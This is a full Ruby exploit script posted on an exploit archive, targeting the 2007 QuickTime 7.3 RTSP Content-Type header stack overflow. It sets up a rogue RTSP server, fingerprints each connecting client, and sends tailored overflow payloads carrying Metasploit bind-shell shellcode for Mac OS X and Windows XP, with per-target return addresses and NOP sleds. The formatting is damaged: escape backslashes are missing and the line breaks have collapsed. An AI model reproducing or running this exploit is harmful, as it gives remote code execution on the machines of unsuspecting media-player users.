Home / exploits aquick-winosx.txt
Posted on 30 November 2007
# Copyright (C) 2007 Subreption LLC. All rights reserved. # Visit http://blog.subreption.com for exploit development notes. # # References: # http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code) # http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit) # From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore) # http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252 # BID: http://www.securityfocus.com/bid/26549 # # Notes: # Payload badchars: x00 x09 x0a x0d x20 x22 x25 x26 x27 x2b x2f # x3a x3c x3e x3f x40 # # The example addresses and data will trigger an IDS signature easily. # Remove them if you're not testing, and change padding sizes accordingly. # Use the String.rand_alpha() method to generate random strings. # # Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2) # # We would like to thank... # Kevin Finisterre, for providing PowerPC testing environment and general # aid in the development and proofing of this code for Mac OS X on PPC. # HD Moore for his suggestions and Metasploit code. # # Distributed under the terms of the Subreption Open Source License v1.0 # http://static.subreption.com/public/documents/subreption-sosl-1.0.txt # require 'socket' include Socket::Constants def String.rand_alpha(size = 16) (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join end module MiscUtils def self.myputs(msg) puts "#{$0}: #{msg}" end # From Metasploit Rex library: # http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb def self.rel_number(num, delta = 0) s = num.to_s case s[0, 2] when '$+' num = s[2 .. -1].to_i when '$-' num = -1 * s[2 .. -1].to_i when '0x' num = s.hex else delta = 0 end return num + delta end end # msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit() MSF_OSX_X86 = "x31xc0x50x68xffx02x14xeax89xe7x50x6ax01x6ax02x6a" + "x10xb0x61xcdx80x57x50x50x6ax68x58xcdx80x89x47xec" + "xb0x6axcdx80xb0x1excdx80x50x50x6ax5ax58xcdx80xff" + "x4fxe4x79xf6x50x68x2fx2fx73x68x68x2fx62x69x6ex89" + "xe3x50x54x54x53x50xb0x3bxcdx80x31xc0x50xb0x01xcd" + "x80" # msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 MSF_WIN_X86 = "xebx03x59xebx05xe8xf8xffxffxffx49x37x49x49x49x49" + "x49x49x49x49x49x49x49x49x49x49x49x49x51x5ax6ax42" + "x58x50x30x42x31x41x42x6bx42x41x52x32x42x42x32x41" + "x41x30x41x41x58x42x50x38x42x42x75x39x79x4bx4cx61" + "x7ax38x6bx50x4dx68x68x69x69x4bx4fx4bx4fx59x6fx53" + "x50x4ex6bx32x4cx44x64x35x74x6ex6bx30x45x57x4cx4e" + "x6bx41x6cx64x45x51x68x46x61x4ax4fx6cx4bx30x4fx46" + "x78x6cx4bx71x4fx47x50x33x31x5ax4bx61x59x6ex6bx50" + "x34x4ex6bx46x61x78x6ex50x31x69x50x4ex79x4ex4cx4b" + "x34x6bx70x52x54x63x37x38x41x6ax6ax44x4dx63x31x6b" + "x72x68x6bx49x64x77x4bx30x54x41x34x45x78x52x55x69" + "x75x6ex6bx73x6fx75x74x56x61x7ax4bx33x56x4ex6bx36" + "x6cx72x6bx4cx4bx53x6fx35x4cx77x71x38x6bx47x73x44" + "x6cx6ex6bx4bx39x32x4cx35x74x77x6cx65x31x69x53x56" + "x51x49x4bx65x34x4ex6bx67x33x34x70x4cx4bx77x30x74" + "x4cx6ex6bx64x30x47x6cx4cx6dx6ex6bx41x50x63x38x53" + "x6ex70x68x4ex6ex62x6ex56x6ex38x6cx52x70x6bx4fx7a" + "x76x72x46x61x43x43x56x52x48x77x43x64x72x51x78x71" + "x67x50x73x70x32x71x4fx31x44x4bx4fx4ax70x75x38x78" + "x4bx68x6dx49x6cx75x6bx46x30x4bx4fx79x46x53x6fx6f" + "x79x38x65x73x56x4cx41x58x6dx64x48x65x52x72x75x32" + "x4ax73x32x49x6fx4ax70x33x58x78x59x63x39x39x65x4c" + "x6dx72x77x6bx4fx6ex36x50x53x52x73x51x43x70x53x33" + "x63x71x53x63x63x61x53x33x63x4bx4fx5ax70x73x56x51" + "x78x37x61x41x4cx50x66x53x63x6cx49x5ax41x5ax35x51" + "x78x4dx74x67x6ax30x70x4bx77x66x37x79x6fx4bx66x41" + "x7ax32x30x72x71x33x65x59x6fx38x50x70x68x6fx54x6e" + "x4dx64x6ex38x69x32x77x4bx4fx4ex36x51x43x41x45x39" + "x6fx4ax70x71x78x4ax45x71x59x6dx56x43x79x76x37x4b" + "x4fx39x46x52x70x72x74x46x34x31x45x4bx4fx68x50x4e" + "x73x43x58x6bx57x71x69x6fx36x53x49x76x37x6bx4fx38" + "x56x71x45x6bx4fx48x50x35x36x70x6ax31x74x45x36x31" + "x78x62x43x32x4dx6fx79x7ax45x71x7ax30x50x33x69x46" + "x49x6ax6cx6bx39x6ax47x73x5ax51x54x6fx79x6dx32x30" + "x31x59x50x38x73x4dx7ax59x6ex43x72x36x4dx69x6ex73" + "x72x54x6cx6fx63x4cx4dx72x5ax74x78x4cx6bx6cx6bx6e" + "x4bx35x38x50x72x6bx4ex4cx73x64x56x4bx4fx43x45x32" + "x64x79x6fx7ax76x33x6bx32x77x62x72x63x61x33x61x30" + "x51x30x6ax53x31x71x41x46x31x52x75x32x71x6bx4fx4e" + "x30x70x68x4ex4dx7ax79x46x65x4ax6ex72x73x69x6fx58" + "x56x72x4ax69x6fx69x6fx66x57x39x6fx58x50x4cx4bx41" + "x47x6bx4cx6cx43x4fx34x32x44x4bx4fx68x56x76x32x4b" + "x4fx4ex30x71x78x33x4ex6ax78x49x72x43x43x61x43x4b" + "x4fx48x56x69x6fx6ax70x42" module AppleOSX class QuicktimeRedux TARGET_MATRIX = { # Mac OS X Leopard on PowerPC (ppc) "7.3-Mac 10.5.1-PPC" => { # Stack on PPC is still executable :ret_address => 0xbfffcb0c+50, :padding_size => 559, # Shellcode will -likely- require changes here :prepend_data => ( [0xdead5841].pack("N") + # r22 [0xdead5842].pack("N") + # r23 [0xdead4141].pack("N") + # r24 [0xdead4142].pack("N") + # r25 [0xdead4143].pack("N") + # r26 [0xdead4144].pack("N") + # r27 [0xdead4145].pack("N") + # r28 [0xdead4146].pack("N") + # r29 [0xdead4147].pack("N") + # r30 [0xdead4148].pack("N") + # r31 [0xdead4150].pack("N") + # [0xdead4151].pack("N") + # [0xdead4152].pack("N") + # at $sp+0 [0xdead4153].pack("N") # at $sp+4 ), :append_data => (""), :shellcode => ( "x69" * 120 ) }, # Mac OS X Leopard on IA32 (x86) build 9B18 "7.3-Mac 10.5.1-IA32" => { # Return-to-dyld stub is not reliable unless the machine # hasn't randomized the dyld base address. :ret_address => 0xdeadbeef, :padding_size => 291, :prepend_data => ( [0x11223344].pack("V") + # ebx [0x41424142].pack("V") + # esi [0x31337666].pack("V") + # edi [0xdefacedd].pack("V") # ebp ), :append_data => ( [0xa0a7e44a].pack("V") + # to dyld_stub_exit [0xbffffaa3].pack("V") # address to /bin/bash ), :shellcode => ( "screencapture -S ~/Desktop/US.png; exit;" + ("x90" * 130) + MSF_OSX_X86 ) }, # Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11) # Apparently, it advertises 10.4.9 instead of 10.4.11 "7.3-Mac 10.4.9-IA32" => { # Return-to-dyld stub works reliably on Tiger # 0xa0be2280 for dyld_stub_system :ret_address => 0xa0be2280, :padding_size => 291, :prepend_data => ( [0x917f1413].pack("V") + # ebx [0xffffeae6].pack("V") + # esi [0x14533050].pack("V") + # edi [0xbfffd27c].pack("V") # ebp ), # exit() stub is problematic with some atexit code # because of corrupted frames, we use abort() instead. # A /bin/bash string (from env) is usually at 0xbffffc23 # when running under gdb, or 0xbffffe5c if started # via dock. If started from Terminal, it's at 0xbffffc3e. :append_data => ( [0xa0815587].pack("V") + # to dyld_stub_abort [0xbffffc3e].pack("V") # address system() command ), # NOP sled + Metasploit shellcode + NOP sled + int3 :shellcode => ( ("x90" * 140) + MSF_OSX_X86 + ("x90" * 30) + "xcc" ) }, # Mac OS X Tiger on PowerPC (PPC) # It also advertises 10.4.9 instead of 10.4.11 "7.3-Mac 10.4.9-PPC" => { # Stub address for system() contains a null byte. # system() address contains filtered char. :ret_address => 0xdeadbeef, :padding_size => 559, :prepend_data => ( [0xdead5841].pack("N") + # r22 [0xdead5842].pack("N") + # r23 [0xdead4141].pack("N") + # r24 [0xdead4142].pack("N") + # r25 [0xdead4143].pack("N") + # r26 [0xdead4144].pack("N") + # r27 [0xdead4145].pack("N") + # r28 [0xdead4146].pack("N") + # r29 [0xdead4147].pack("N") + # r30 [0xdead4148].pack("N") + # r31 String.rand_alpha(16) ), :append_data => ( [0x942bce80].pack("N") + # to dyld_stub_abort [0x58585858].pack("N") ), :shellcode => ( "x69" * 120 ) }, # Microsoft Windows targets # 7.3 on XP SP2, based on the original Metasploit module by MC # This one is elegant and reliable :) # (uses address from QuickTimeStreaming.qtx version 7.3.0.70) "7.3-Windows NT 5.1Service Pack 2-IA32" => { # pop esi; pop ebx; ret :ret_address => 0x67644297, :padding_size => 991+MSF_WIN_X86.size, :prepend_data => ( "xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] + "x90x90" ), :append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ), :shellcode => MSF_WIN_X86 }, # 7.3 on Vista # We are not including it yet, feel free to play around "7.3-Windows NT 6.0-IA32" => { :ret_address => 0xdeadbeef, :padding_size => 991+MSF_WIN_X86.size, :prepend_data => (""), :append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ), :shellcode => MSF_WIN_X86 } } # Generates headers for a Quicktime RTSP response, and injects # the payload into the Content-Type header (including the padding). def make_header(body_length, payload) "RTSP/1.0 200 OK " + "CSeq: 1 " + "Content-Base: rtsp://0.0.0.0/#{@mpfile} " + "Content-Type: #{payload} " + "Content-Length: #{body_length} " + " " end # Generates a body for a Quicktime RTSP response def make_body rand_str = String.rand_alpha(rand(10)+1) rand_nam = String.rand_alpha(rand(20)+1) "v=0 " + "o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0 " + "s=MPEG-1 or 2 Audio, streamed by #{rand_str} " + "i=#{@mpfile} " + "t=0 0 " + "a=tool:#{rand_nam} " + "a=type:broadcast " + "a=control:* " + "a=range:npt=0-213.077 " + "a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str} " + "a=x-qt-text-inf:#{@mpfile} " + "m=audio 0 RTP/AVP 14 " + "c=IN IP4 0.0.0.0 " + "a=control:track1 " end # Construct a payload without filtered characters, for the target provided. # The information is extracted from the target matrix variable. def build_payload(target) target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}" selected = TARGET_MATRIX[target_name] unless selected MiscUtils::myputs "Target not available, check User-Agent format!" MiscUtils::myputs target_name return '' end MiscUtils::myputs "Building payload for '#{target_name}'..." MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " + "shellcode: #{selected[:shellcode].size} bytes." payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size) unless target[:os] =~ /Windows/ payload << selected[:shellcode] payload << selected[:prepend_data] # Handle big-endian / little-endian if target[:arch] == "PPC" payload << [selected[:ret_address]].pack("N") else payload << [selected[:ret_address]].pack("V") end else payload << selected[:prepend_data] payload << [selected[:ret_address]].pack("V") payload << selected[:shellcode] end # Appended data comes always at end of payload payload << selected[:append_data] MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)" return payload end # Threaded 'listener': waits until a Quicktime client connects and fingerprints # its version, architecture and operating system version. Builds a response with # the correct payload and sends it back to the client. def exploit loop do socket = @server.accept Thread.start do s = socket port = s.peeraddr[1] name = s.peeraddr[2] addr = s.peeraddr[3] MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})" request = s.recv(1024) # Verify it's Quicktime and not some other application # ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0) if request =~ /User-Agent: QuickTime/i target = Hash.new if request =~ /Windows/ qtver = request.scan(/(qtver=(.+?);os=(.+?)) /).flatten target[:version] = qtver[0] target[:arch] = "IA32" target[:os] = qtver[1] else qtver = request.scan(/(qtver=(.+?);cpu=(.+?);os=(.+?)) /).flatten target[:version] = qtver[0] target[:arch] = qtver[1] target[:os] = qtver[2] end MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}" # Build payload and the full response body begin payload = build_payload(target) body = make_body() header = make_header(body.size, payload) resp = (header+body) rescue raise "Something happened trying to build a response!" end # Send it to the client s.write(resp) MiscUtils::myputs "RTSP Sent #{resp.size} bytes..." else # It's not a Quicktime client MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!" s.write(String.rand_alpha(rand(500))) end end end end # Initialize the exploit with the local listening port, server socket, etc. def initialize(rtsp_port = 554) @server = TCPServer.new("0.0.0.0", rtsp_port) @mpfile = String.rand_alpha(rand(12)+1) + '.mp3' rtsp_addrs = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ') MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}" MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}" end end end trap("INT") do puts "Exiting!" exit end puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit" puts "Copyright (C) 2007, Subreption LLC. All rights reserved." test_run = AppleOSX::QuicktimeRedux.new() test_run.exploit